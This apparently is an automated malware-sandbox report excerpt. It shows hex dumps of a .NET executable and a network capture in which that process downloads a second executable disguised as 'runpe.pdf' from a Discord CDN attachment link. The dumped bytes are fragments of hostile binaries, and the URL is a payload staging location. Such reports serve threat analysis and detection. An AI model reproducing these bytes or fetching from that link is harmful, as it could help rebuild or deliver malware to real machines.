00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 74 a7 00 00 
00 20 00 00 00 a8 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 ff 07 00 
00 00 e0 00 00 00 08 00 00 00 aa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 
00 00 00 00 01 00 00 02 00 00 00 b2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 50 c7 00 00 00 00 00 00 48 00 00 00 02 00 05 00 fc 59 00 00 18 6d 00 00 03 00 00 00 01 00 00 06 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 bf eb 1e 56 fb cd 97 3b b2 19 02 24 30 a5 78 43 00 3d 56 44 d2 1e 62 b9 d4 f1 80 e7 e6 c3 39 
41 2e 00 2f 00 5c 00 00 00 1e 02 28 18 00 00 0a 2a 1a 7e 13 00 00 04 2a 1e 02 80 13 00 00 04 2a 1a 7e 14 00 00 04 2a 
1e 02 80 14 00 00 04 2a 1a 7e 15 00 00 04 2a 1e 02 80 15 00 00 04 2a 1a 7e 16 00 00 04 2a 1e 02 80 16 00 00 04 2a 1a 
7e 17 00 00 04 2a 1e 02 80 17 00 00 04 2a 1a 7e 18 00 00 04 2a 1e 02 80 18 00 00 04 2a 1a 7e 19 00 00 04 2a 1e 02 80 
19 00 00 04 2a 1a 7e 1a 00 00 04 2a 1a 7e 1b 00 00 04 2a 1e 02 80 1b 00 00 04 2a 1a 7e 1c 00 00 04 2a 1e 02 80 1c 00 
00 04 2a 1a 7e 1d 00 00 04 2a 1e 02 80 1d 00 00 04 2a 2a 02 28 3e 00 00 0a 16 fe 03 2a 32 7e 0b 00 00 04 03 6f 3f 00 00 
0a 2a 2e 73 18 00 00 0a 80 1a 00 00 04 2a e6 28 29 00 00 06 3a 28 00 00 00 28 2a 00 00 06 3a 1e 00 00 00 28 2b 00 00 
06 3a 14 00 00 00 28 27 00 00 06 3a 0a 00 00 00 28 28 00 00 06 39 06 00 00 00 14 28 76 00 00 0a 2a 56 28 9c 00 00 0a 
73 9d 00 00 0a 20 20 02 00 00 6f 9e 00 00 0a 2a 6e 7e 1e 00 00 04 39 10 00 00 00 7e 1e 00 00 04 6f ad 00 00 0a 14 80 
1e 00 00 04 2a 7e 7e 0f 00 00 04 28 17 00 00 0a 39 0f 00 00 00 28 30 00 00 06 39 05 00 00 00 28 40 00 00 06 2a 56 72 
ae 25 00 70 7e 10 00 00 04 28 6f 00 00 0a 80 23 00 00 04 2a be 73 94 00 00 06 25 72 62 21 00 70 6f 7f 00 00 06 72 5a 26 
00 70 6f 8c 00 00 06 6f 89 00 00 06 28 20 00 00 06 20 e8 03 00 00 28 14 00 00 0a 2a da 73 94 00 00 06 25 72 62 21 00 70 
6f 7f 00 00 06 
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL#^n @  @W  H.textt  `.rsrc@@.reloc@BPHY
mV;$0xC=VDb9A./\(*~**~**~**~**~**~**~**~*~**~**~***(>*2~o?*.s*():((*:(+:(':((9(v*V(s  o*n~9~o*~~(9(09(@*Vr%p~(
o#*s%rb!porZ&poo(  (*s%rb!po

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.4 49773 162.159.133.233 443 C:\Users\user\Desktop\aQKifdER74.exe

Timestamp
kBytes
transferred Direction Data

2021-09-27 18:36:18 UTC 0 OUT GET /attachments/889935662827044904/889981640498090054/runpe.pdf HTTP/1.1
Host: cdn.discordapp.com
Connection: Keep-Alive

2021-09-27 18:36:18 UTC 0 IN HTTP/1.1 200 OK
Date: Mon, 27 Sep 2021 18:36:18 GMT
Content-Type: application/pdf
Content-Length: 413184
Connection: close
CF-Ray: 6956d637a840d608-MXP
Accept-Ranges: bytes
Cache-Control: public, max-age=31536000
Content-Disposition: attachment;%20filename=runpe.pdf
ETag: "27a5260c3d72986f4e22a50865143075"
Expires: Tue, 27 Sep 2022 18:36:18 GMT
Last-Modified: Tue, 21 Sep 2021 21:09:18 GMT
Vary: Accept-Encoding
CF-Cache-Status: MISS
Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
x-goog-generation: 1632258558207603
x-goog-hash: crc32c=9NZa8w==
x-goog-hash: md5=J6UmDD1ymG9OIqUIZRQwdQ==
x-goog-metageneration: 1
x-goog-storage-class: STANDARD
x-goog-stored-content-encoding: identity
x-goog-stored-content-length: 413184
X-GUploader-UploadID: ADPycdsYKC4VXPddSs6Xe9g82lz1ZZoaMSD06VGl4YB2U5Zg15mTRs5gz8PwNghFMAjC
zZt_USTanQR0j1AeRVknD4ATQAO2kQ
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=a1FR89tV%2BOtxrrMUfX6OW4ba460TVc
F22DTnkx45%2F1VuwdW4y5oTxbLKaT%2BSul9V7rMYIXyGMe6w2To0X%2BHpzkKJUZnXZ9V5Led5RFyIUpDopsNOoQ
T43XFVPFWX3knk3K1n2g%3D%3D"}],"group":"cf-nel","max_age":604800}
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2021-09-27 18:36:18 UTC 1 IN Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 
22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 
6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a 
Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

2021-09-27 18:36:18 UTC 1 IN Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 07 1e 2b 61 00 00 00 00 00 00 00 00 e0 00 0e 21 0b 01 
0b 00 00 1c 06 00 00 30 00 00 00 00 00 00 8e 3b 06 00 00 20 00 00 00 40 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 
00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 06 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 
00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL+a!0; @@ `

2021-09-27 18:36:18 UTC 2 IN Data Raw: 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 04 00 04 00 00 00 
00 00 00 00 00 00 17 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 
2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 
00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 85 00 00 00 01 00 00 11 28 
1e 05 00 06 20 03 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 04 00 00 00 58 00 00 00 05 00 00 00 1f 00 00 00 3e 
00 00 00 38 53 00 00 00 28 31 06 00 06 20 00 00 00 00 7e 52 01 00 04 3a d2 ff ff ff 26 38 c8 ff ff ff 28 26 00 00 06 20 01 0
0 00 00 7e 4f 01 00 04 3a b8 ff ff ff 26 20 00 00 00 00 38 ad ff 
Data Ascii: ***0*0*0*0*0*0*0*0( 8EX>8S(1 ~R:&8(& ~O:& 8

2021-09-27 18:36:18 UTC 4 IN Data Raw: 00 7e 37 01 00 04 3a 56 ff ff ff 26 38 4c ff ff ff 11 01 1f 09 1f 72 9c 20 0d 00 00 00 38 3f ff ff ff 11 01 18 1f 61 9c 
20 0c 00 00 00 7e 25 01 00 04 39 2a ff ff ff 26 38 20 ff ff ff 11 01 1b 1f 69 9c 20 03 00 00 00 7e 65 01 00 04 3a 0f ff ff ff 26 
20 1a 00 00 00 38 04 ff ff ff 11 01 16 1f 6b 9c 20 01 00 00 00 7e 13 01 00 04 3a ef fe ff ff 26 38 e5 fe ff ff 28 4f 00 00 06 20 
0e 00 00 00 fe 0e 00 00 38 d2 fe ff ff 1e 8d 2d 00 00 01 13 01 20 1c 00 00 00 38 c4 fe ff ff 00 2a 11 01 1f 0b 1f 41 9c 20 1b 
00 00 00 38 b1 fe ff ff 11 01 1c 1f 62 9c 20 1d 00 00 00 fe 0e 00 00 38 99 fe ff ff 11 01 17 1f 65 9c 20 05 00 00 00 fe 0e 00 
00 38 85 fe ff ff 11 01 1f 0a 1f 79 9c 20 13 00 00 00 38 78 fe ff ff 11 01 1c 1f 33 9c 20 02 00 00 00 7e 28 01 00 04 39 63 fe 
ff ff 26 
Data Ascii: ~7:V&8Lr 8?a ~%9*&8 i ~e:& 8k ~:&8(O 8- 8*A 8b 8e 8y 8x3 ~(9c&

2021-09-27 18:36:18 UTC 5 IN Data Raw: 00 04 39 a9 ff ff ff 26 38 9f ff ff ff 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 
00 00 00 12 00 00 00 2a 00 00 00 13 30 03 00 b0 00 00 00 01 00 00 11 28 1e 05 00 06 20 03 00 00 00 fe 0e 00 00 38 00 
00 00 00 fe 0c 00 00 45 06 00 00 00 4d 00 00 00 5e 00 00 00 05 00 00 00 6d 00 00 00 4f 00 00 00 1f 00 00 00 38 48 00 00 
00 28 a2 00 00 06 20 01 00 00 00 7e 4b 01 00 04 3a ca ff ff ff 26 38 c0 ff ff ff 73 9f 00 00 06 7e af 01 00 04 28 15 07 00 06 
74 18 00 00 02 80 24 00 00 04 20 00 00 00 00 7e 5b 01 00 04 39 9c ff ff ff 26 38 92 ff ff ff 00 2a 28 a4 00 00 06 20 05 00 
00 00 38 85 ff ff ff 28 a3 00 00 06 20 04 00 00 00 38 76 ff ff ff 28 a1 00 00 06 20 02 00 00 00 38 67 ff ff ff 13 30 03 00 04 00 
00 00 00 00 00 00 00 00 00 2a 13 30 
Data Ascii: 9&8*****0( 8EM^mO8H( ~K:&8s~(t$ ~[9&8*( 8( 8v( 8g0*0

2021-09-27 18:36:18 UTC 6 IN Data Raw: 00 00 00 2a 13 30 03 00 74 00 00 00 01 00 00 11 28 1e 05 00 06 20 02 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 
0c 00 00 45 04 00 00 00 1c 00 00 00 05 00 00 00 32 00 00 00 1b 00 00 00 38 17 00 00 00 28 16 05 00 06 20 00 00 00 00 
17 3a d6 ff ff ff 26 38 cc ff ff ff 2a 28 36 01 00 06 20 03 00 00 00 17 3a bf ff ff ff 26 38 b5 ff ff ff 28 35 01 00 06 20 01 00 00 
00 17 3a a9 ff ff ff 26 38 9f ff ff ff 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 
00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 
04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 
00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 
Data Ascii: *0t( 8E28( :&8*(6 :&8(5 :&8******0*0*0*0**0

2021-09-27 18:36:18 UTC 8 IN Data Raw: 00 00 00 4c 00 00 00 05 00 00 00 36 00 00 00 20 00 00 00 38 47 00 00 00 28 cd 01 00 06 20 00 00 00 00 16 39 
d6 ff ff ff 26 20 00 00 00 00 38 cb ff ff ff 28 cc 01 00 06 20 02 00 00 00 16 39 bb ff ff ff 26 38 b1 ff ff ff 28 98 01 00 06 20 01 
00 00 00 16 39 a5 ff ff ff 26 38 9b ff ff ff 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 
00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 
00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 
2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 
14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 
Data Ascii: L6 8G( 9& 8( 9&8( 9&8********************

2021-09-27 18:36:18 UTC 9 IN Data Raw: 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 
00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 
13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 
00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 
17 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 04 
00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 04 00 00 00 00 00 00 00 
00 00 17 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 04 
Data Ascii: *0*0**0*0*0*0*0***0*0*0*0*0*0*0*0

2021-09-27 18:36:18 UTC 10 IN Data Raw: 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 
00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 
00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 
04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 
00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 
03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 
00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 
Data Ascii: *0*0*0*0*0*0*0*0*0*0*0*0*0*0*0*0

2021-09-27 18:36:18 UTC 12 IN Data Raw: 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 
14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 
00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 
00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 
12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 
00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 
00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 
Data Ascii: *****************************0*0

2021-09-27 18:36:18 UTC 13 IN Data Raw: 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 76 00 00 00 01 00 00 11 28 1e 05 00 
06 20 02 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 04 00 00 00 36 00 00 00 37 00 00 00 05 00 00 00 1b 00 00 
00 38 31 00 00 00 28 68 03 00 06 20 01 00 00 00 16 39 d6 ff ff ff 26 38 cc ff ff ff 28 69 03 00 06 20 00 00 00 00 17 39 c0 ff 
ff ff 26 20 00 00 00 00 38 b5 ff ff ff 2a 28 64 03 00 06 20 03 00 00 00 fe 0e 00 00 38 9d ff ff ff 00 00 12 00 00 00 2a 00 00 
00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 
00 00 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 77 
00 00 00 01 00 00 11 28 1e 05 00 06 20 02 00 00 00 fe 0e 
Data Ascii: *0*0v( 8E6781(h 9&8(i 9& 8*(d 8******0*0*0w( 

Timestamp
kBytes
transferred Direction Data
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2021-09-27 18:36:18 UTC 14 IN Data Raw: 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 22 00 14 a5 2a 00 00 01 2a 00 00 00 13 30 05 00 04 00 00 00 00 
00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 
12 00 00 14 2a 00 00 00 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 17 2a 00 00 00 13 30 04 00 04 00 00 
00 00 00 00 00 00 00 17 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 12 00 00 17 2a 00 00 00 13 30 03 00 79 00 
00 00 01 00 00 11 28 1e 05 00 06 20 03 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 04 00 00 00 36 00 00 00 1b 00 
00 00 05 00 00 00 37 00 00 00 38 31 00 00 00 28 b8 03 00 06 20 01 00 00 00 17 3a d6 ff ff ff 26 38 cc ff ff ff 28 c2 03 00 0
6 20 00 00 00 00 16 3a c0 ff ff ff 26 20 00 00 00 00 38 b5 ff ff 
Data Ascii: *"**0*0*0**0**0*0**0y( 8E6781( :&8( :& 8

2021-09-27 18:36:18 UTC 16 IN Data Raw: 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 04 00 00 00 4c 00 00 00 05 00 00 00 1b 00 00 00 31 00 00 
00 38 47 00 00 00 28 fd 03 00 06 20 03 00 00 00 16 39 d6 ff ff ff 26 38 cc ff ff ff 28 01 04 00 06 20 01 00 00 00 16 39 c0 ff 
ff ff 26 38 b6 ff ff ff 28 02 04 00 06 20 00 00 00 00 17 3a aa ff ff ff 26 20 00 00 00 00 38 9f ff ff ff 2a 00 00 00 12 00 00 00 2a 
00 00 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 
2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 7e 00 00 00 01 00 00 11 28 1e 05 00 06 20 02 
00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 04 00 00 00 20 00 00 00 05 00 00 00 21 00 00 00 3c 00 00 00 38 1b 
00 00 00 28 16 05 00 06 20 03 00 00 00 16 39 d6 
Data Ascii: 8EL18G( 9&8( 9&8( :& 8*******0*0~( 8E !<8( 9

2021-09-27 18:36:18 UTC 17 IN Data Raw: 00 00 00 00 00 00 00 2a 01 1c 00 00 00 00 96 00 3d d3 00 2d 16 00 00 01 02 00 5d 00 f6 53 01 35 00 00 00 00 
03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 41 34 00 00 02 00 00 00 65 04 00 00 ca 01 00 00 2f 06 00 00 35 00 00 
00 00 00 00 00 00 00 00 00 3e 01 00 00 34 00 00 00 72 01 00 00 58 05 00 00 1b 00 00 01 03 30 08 00 04 00 00 00 00 00 
00 00 00 00 00 2a 41 1c 00 00 02 00 00 00 5f 00 00 00 c3 01 00 00 22 02 00 00 35 00 00 00 00 00 00 00 03 30 08 00 04 0
0 00 00 00 00 00 00 00 00 00 2a 41 1c 00 00 02 00 00 00 38 00 00 00 c0 01 00 00 f8 01 00 00 35 00 00 00 00 00 00 00 03 
30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 41 1c 00 00 02 00 00 00 b2 00 00 00 aa 03 00 00 5c 04 00 00 35 00 00 00 
00 00 00 00 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 01 10 00 
Data Ascii: *=-]S50*A4e/5>4rX0*A_"50*A850*A\50*

2021-09-27 18:36:18 UTC 18 IN Data Raw: 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 17 
2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 
14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 
00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 
00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 
12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 
00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 
Data Ascii: ********************************

2021-09-27 18:36:18 UTC 20 IN Data Raw: 00 00 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 
00 00 00 12 00 00 00 2a 00 00 00 13 30 06 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 
00 00 00 2a 13 30 03 00 c6 00 00 00 01 00 00 11 28 1e 05 00 06 20 04 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 4
5 06 00 00 00 42 00 00 00 20 00 00 00 05 00 00 00 43 00 00 00 33 00 00 00 59 00 00 00 38 3d 00 00 00 28 fc 04 00 06 20 
05 00 00 00 16 3a ce ff ff ff 26 20 05 00 00 00 38 c3 ff ff ff 28 31 06 00 06 20 02 00 00 00 fe 0e 00 00 38 ac ff ff ff 28 14 05 
00 06 20 03 00 00 00 38 a1 ff ff ff 2a 28 fd 04 00 06 20 01 00 00 00 16 39 90 ff ff ff 26 38 86 ff ff ff d0 41 00 00 02 7e 71 01 
00 04 28 6d 06 00 06 7e ae 01 00 04 28 11 07 00 
Data Ascii: ******0*0*0( 8EB C3Y8=( :& 8(1 8( 8*( 9&8A~q(m~(

2021-09-27 18:36:18 UTC 21 IN Data Raw: 11 09 11 0a 1f 0e 1f 11 1f 0f 06 28 06 05 00 06 12 0a 11 0b 11 0c 11 09 1f 0f 1f 16 1f 10 06 28 06 05 00 06 12 
09 11 0a 11 0b 11 0c 17 1b 1f 11 06 28 07 05 00 06 12 0c 11 09 11 0a 11 0b 1c 1f 09 1f 12 06 28 07 05 00 06 12 0b 11 0c 
11 09 11 0a 1f 0b 1f 0e 1f 13 06 28 07 05 00 06 12 0a 11 0b 11 0c 11 09 16 1f 14 1f 14 06 28 07 05 00 06 12 09 11 0a 11 
0b 11 0c 1b 1b 1f 15 06 28 07 05 00 06 12 0c 11 09 11 0a 11 0b 1f 0a 1f 09 1f 16 06 28 07 05 00 06 12 0b 11 0c 11 09 11 
0a 1f 0f 1f 0e 1f 17 06 28 07 05 00 06 12 0a 11 0b 11 0c 11 09 1a 1f 14 1f 18 06 28 07 05 00 06 12 09 11 0a 11 0b 11 0c 1f 
09 1b 1f 19 06 28 07 05 00 06 12 0c 11 09 11 0a 11 0b 1f 0e 1f 09 1f 1a 06 28 07 05 00 06 12 0b 11 0c 11 09 11 0a 19 1f 
0e 1f 1b 06 28 07 05 00 06 12 0a 11 0b 11 0c 11 09 
Data Ascii: (((((((((((((

2021-09-27 18:36:18 UTC 22 IN Data Raw: 17 58 0b 16 13 07 16 13 08 38 2a 03 00 00 11 08 09 5d 13 09 11 08 1a 5a 13 0a 11 09 1a 5a 13 07 03 11 07 
19 58 e0 91 1f 18 62 03 11 07 18 58 e0 91 1f 10 62 60 03 11 07 17 58 e0 91 1e 62 60 03 11 07 e0 91 60 13 05 20 ff 00 00 
00 13 0b 16 13 0c 11 08 07 17 59 40 49 00 00 00 06 16 3e 42 00 00 00 16 13 06 11 04 11 05 58 13 04 16 13 0d 38 23 00 
00 00 11 0d 16 3e 06 00 00 00 11 06 1e 62 13 06 11 06 05 05 8e 69 17 11 0d 58 59 91 60 13 06 11 0d 17 58 13 0d 11 0d 
06 3f d5 ff ff ff 38 32 00 00 00 11 04 11 05 58 13 04 11 0a 13 07 05 11 07 19 58 e0 91 1f 18 62 05 11 07 18 58 e0 91 1f 10 
62 60 05 11 07 17 58 e0 91 1e 62 60 05 11 07 e0 91 60 13 06 11 04 13 0e 16 13 04 11 0e 11 0e 20 20 97 58 46 fe 0e 12 0
0 fe 0e 13 00 20 f6 b2 4c 5e fe 0e 14 00 20 96 87 58 0c fe 0e 15 
Data Ascii: X8*]ZZXbXb`Xb`` Y@I>BX8#>biXY`X?82XXbXb`Xb``  XF L^ X

2021-09-27 18:36:18 UTC 24 IN Data Raw: 28 4f 05 00 06 39 c2 09 00 00 20 0b 00 00 00 28 75 05 00 06 3a 64 ff ff ff 26 20 01 00 00 00 38 59 ff ff ff 00 11 
33 39 4c 00 00 00 20 01 00 00 00 28 76 05 00 06 39 0a 00 00 00 26 38 00 00 00 00 fe 0c 09 00 45 02 00 00 00 26 00 00 
00 05 00 00 00 38 21 00 00 00 11 33 28 71 05 00 06 20 00 00 00 00 28 75 05 00 06 39 d8 ff ff ff 26 20 00 00 00 00 38 cd ff 
ff ff dd ec 0a 00 00 26 20 00 00 00 00 28 75 05 00 06 39 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 2c 00 45 01 
00 00 00 05 00 00 00 38 00 00 00 00 dd ba 0a 00 00 20 12 00 00 00 38 c4 fe ff ff 7e b9 00 00 04 3a f6 0a 00 00 20 01 00 
00 00 28 75 05 00 06 3a ab fe ff ff 26 38 a1 fe ff ff 28 4b 05 00 06 20 07 00 00 00 38 96 fe ff ff 73 b8 00 00 0a 80 b9 00 00 
04 20 11 00 00 00 38 82 fe ff ff 14 13 33 20 
Data Ascii: (O9 (u:d& 8Y39L (v9&8E&8!3(q (u9& 8& (u9& 8,E8 8~: (u:&8(K 8s 83 

2021-09-27 18:36:18 UTC 25 IN Data Raw: 00 00 00 28 66 05 00 06 26 20 24 00 00 00 38 b7 fb ff ff 11 33 28 69 05 00 06 13 35 20 22 00 00 00 38 a4 fb ff 
ff 11 33 28 69 05 00 06 13 07 20 28 00 00 00 38 91 fb ff ff 11 08 20 86 00 00 00 6a 28 55 05 00 06 20 0a 00 00 00 28 75 
05 00 06 3a 75 fb ff ff 26 38 6b fb ff ff 11 08 11 01 11 2b 1f 28 5a 6a 58 1f 10 6a 58 28 55 05 00 06 20 41 00 00 00 28 76 
05 00 06 39 4c fb ff ff 26 38 42 fb ff ff 11 32 16 8d 2d 00 00 01 16 16 28 6c 05 00 06 26 20 17 00 00 00 38 2c fb ff ff 11 28 
1f 27 16 9c 20 27 00 00 00 28 76 05 00 06 39 17 fb ff ff 26 38 0d fb ff ff 11 08 11 1b 28 55 05 00 06 20 20 00 00 00 fe 0e 
19 00 38 f6 fa ff ff 11 35 11 04 11 01 11 33 28 6a 05 00 06 13 00 20 25 00 00 00 38 e1 fa ff ff 11 08 28 68 05 00 06 13 26 
20 1b 00 00 00 38 ce fa ff ff 11 33 28 
